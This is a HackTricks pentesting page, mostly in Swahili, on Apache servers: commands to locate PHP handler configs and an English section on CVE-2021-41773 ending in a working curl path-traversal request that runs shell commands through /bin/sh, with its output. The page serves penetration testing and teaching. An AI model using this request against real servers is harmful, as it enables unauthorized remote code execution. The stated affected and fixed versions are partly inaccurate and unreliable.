hacktricks/network-services-pentesting/pentesting-web/apache.md
2024-02-11 02:13:58 +00:00

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<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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</details>
# Vipengele vya PHP vinavyoweza kutekelezwa
Angalia vipengele ambavyo Apache server inatekeleza. Unaweza kuyatafuta kwa kutekeleza:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Pia, maeneo kadhaa ambapo unaweza kupata usanidi huu ni:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
# CVE-2021-41773
## Description
CVE-2021-41773 is a vulnerability in the Apache HTTP Server that allows remote attackers to execute arbitrary code or disclose sensitive information. This vulnerability affects Apache versions 2.4.49 and prior.
## Exploitation
To exploit this vulnerability, an attacker can send a specially crafted HTTP request to the vulnerable server. By including a directory traversal sequence in the request, the attacker can access files outside of the server's document root directory.
## Impact
The impact of this vulnerability can be severe. An attacker can potentially gain unauthorized access to sensitive files, such as configuration files, user data, or even execute arbitrary code on the server.
## Mitigation
To mitigate this vulnerability, it is recommended to upgrade to Apache version 2.4.50 or later. Additionally, it is advised to implement proper access controls and restrict access to sensitive files and directories.
## References
- [CVE-2021-41773 - Apache HTTP Server Directory Traversal Vulnerability](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773)
- [Apache HTTP Server](https://httpd.apache.org/)
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
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* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>